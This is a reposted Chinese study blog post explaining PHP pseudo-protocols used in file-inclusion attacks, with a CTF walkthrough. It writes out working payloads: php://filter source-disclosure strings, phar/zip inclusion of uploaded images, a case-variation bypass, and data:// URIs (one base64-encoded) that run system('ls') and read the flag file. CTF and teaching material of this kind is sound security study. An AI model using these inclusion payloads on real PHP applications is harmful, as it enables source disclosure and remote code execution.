【每天学习一点新知识】文件包含常用之伪协议

一、伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

以下举例一些比较常用的伪协议及用法

1.1 php://input

可以用于执行php代码,通过post请求提交我们的代码

这里给一个攻防世界Web_php_include的例子

$page=str_replace("php://", "", $page);这里把page参数里的php://替换成了空格,我们需要绕过它

用php://input执行ls命令查看文件,php用大小写来绕过

结果如下:(chrome我一直post失败,所以这是用火狐的插件执行的post的结果)

知道文件名了岂不是轻轻松松,直接post:

得到flag:

1.2 php://filter

用于读取源码,通过get请求提交参数。它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

常用形式:

?a=php://filter/read=convert.base64/resource=xxx.php

iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码

例如:

?a=php://filter/read=convert.iconv.utf-8.utf-16/resource=xxx.php

即输入utf-8编码,输出utf-16编码

1.3 zip、phar伪协议

用于读取压缩包中的文件

常用格式:

/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php

1.4 file:// 文件协议

常用格式:

file://[本地文件系统的绝对路径]

例如:

?file=file://D:/Server/htdocs/emlog/phpinfo.txt

1.5 data协议

常用格式:

data://text/plain,xxxx(要执行的php代码)

data://text/plain;base64,xxxx(base64编码后的数据)

例如:

?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

依旧以上面那个ctf的题为例

直接使用data协议执行命令

?page=data://text/plain,<?php%20system("ls")?>
?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>

拿到flag

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/128907240